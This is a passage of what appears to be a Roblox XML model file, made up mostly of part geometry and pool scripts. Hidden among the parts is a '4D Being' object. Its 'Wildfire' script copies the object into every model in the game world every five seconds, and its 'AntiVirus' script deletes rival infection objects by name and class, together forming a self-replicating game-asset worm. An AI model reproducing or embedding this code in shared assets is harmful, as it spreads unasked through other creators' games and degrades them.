							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX833">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">37</int>
						<CoordinateFrame name="CFrame">
							<X>139</X>
							<Y>1</Y>
							<Z>50.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX834">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">37</int>
						<CoordinateFrame name="CFrame">
							<X>139</X>
							<Y>2.20000005</Y>
							<Z>52</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>-1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>1.20000005</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="VelocityMotor" referent="RBX835">
				<Properties>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<float name="CurrentAngle">0</float>
					<float name="DesiredAngle">0</float>
					<Ref name="Hole">null</Ref>
					<float name="MaxVelocity">0</float>
					<string name="Name">4D Being</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX836">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX837">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">4D Being</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX838">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wildfire</string>
								<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX839">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">AntiVirus</string>
								<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX840">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">37</int>
				<CoordinateFrame name="CFrame">
					<X>234.5</X>
					<Y>5.20000029</Y>
					<Z>228.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>9</X>
					<Y>7.20000029</Y>
					<Z>3</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX841">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>103.5</X>
					<Y>4.4000001</Y>
					<Z>186.199997</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>-1</R12>
					<R20>0</R20>
					<R21>1</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>145</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX842">
			<Properties>
				<bool name="Anchored">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1010</int>
				<CoordinateFrame name="CFrame">
					<X>54.5</X>
					<Y>4.4000001</Y>
					<Z>95.2000046</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>0</R11>
					<R12>1</R12>
					<R20>0</R20>
					<R21>1</R21>
					<R22>-0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1040</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>47</X>
					<Y>0.400000006</Y>
					<Z>8</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX843">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="TrussPart" referent="RBX844">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1001</int>
					<CoordinateFrame name="CFrame">
						<X>91</X>
						<Y>4.39999962</Y>
						<Z>221</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0.800000012</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>8</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="Model" referent="RBX845">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX846">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>102</X>
							<Y>4.5999999</Y>
							<Z>233.5</Z>
							<R00>0</R00>
							<R01>0</R01>
							<R02>-1</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>1</R20>
							<R21>0</R21>
							<R22>0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0.600000024</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>23</X>
							<Y>8.40000057</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Model" referent="RBX847">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX848">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Water</string>
							<Ref name="PrimaryPart">RBX849</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Part" referent="RBX849">
							<Properties>
								<bool name="Anchored">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">23</int>
								<CoordinateFrame name="CFrame">
									<X>91</X>
									<Y>6.4000001</Y>
									<Z>233.5</Z>
									<R00>-1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>-1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">false</bool>
								<bool name="DraggingV1">false</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">1</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Water Block Model</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">1</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0.300000012</float>
								<Vector3 name="Velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>40</Z>
								</Vector3>
								<bool name="archivable">true</bool>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>20</X>
									<Y>2.4000001</Y>
									<Z>19</Z>
								</Vector3>
							</Properties>
							<Item class="Script" referent="RBX850">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<string name="Source">function onTouched(part)
	if part.Parent ~= nil then
		local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
			if h~=nil then
if  (h.Parent.Torso.Velocity.y &lt; 25) then
h.Parent.Torso.Velocity=Vector3.new(0,h.Parent.Torso.Velocity.y+10,0)--dont change this, its perfect xD
wait(0.0000001)--this smooths out our &quot;ride&quot;
end

			end			
	end
end

script.Parent.Touched:connect(onTouched)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX851">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<string name="Source">while true do
script.Parent.hi.StudsPerTileU =10
wait(0.1)
script.Parent.hi.StudsPerTileV =20
wait(0.1)
script.Parent.hi.StudsPerTileU =15
wait(0.1)
script.Parent.hi.StudsPerTileV =20
wait(0.1)
end

 </string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX852">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Splash Script</string>
									<string name="Source">print(&quot;Splash Script by Plad loaded&quot;)


local Pool = script.Parent

function onTouched(hit)
	print(&quot;Pool hit&quot;)

	local human = hit.Parent:findFirstChild(&quot;Humanoid&quot;)

	if (human ~= nil ) then 
		for i =1,2 do
			local Splash = Instance.new(&quot;Part&quot;)
			Splash.Parent = game.Workspace
			Splash.Position = human.Torso.Position + Vector3.new(math.random(-3,3),math.random(-3,3),math.random(-3,3))
			Splash.Shape = 0
			Splash.formFactor = &quot;Symmetric&quot;
			Splash.Name = &quot;Splash&quot;
			Splash.BrickColor = BrickColor.new(23)
			Splash.Reflectance = 0.5
			Splash.Size = Vector3.new(1,1,1)

			game:GetService(&quot;Debris&quot;):AddItem(Splash, .5) -- get rid of Splash after a certain amount of time
			
						
		end
	end
	
end


script.Parent.Touched:connect(onTouched)</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX853">
							<Properties>
								<bool name="Anchored">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">23</int>
								<CoordinateFrame name="CFrame">
									<X>91</X>
									<Y>4.5999999</Y>
									<Z>233.5</Z>
									<R00>-1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>-1</R22>
								</CoordinateFrame>
								<bool name="CanCollide">false</bool>
								<bool name="DraggingV1">false</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">1</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Water Block Model</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0.300000012</float>
								<Vector3 name="Velocity">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
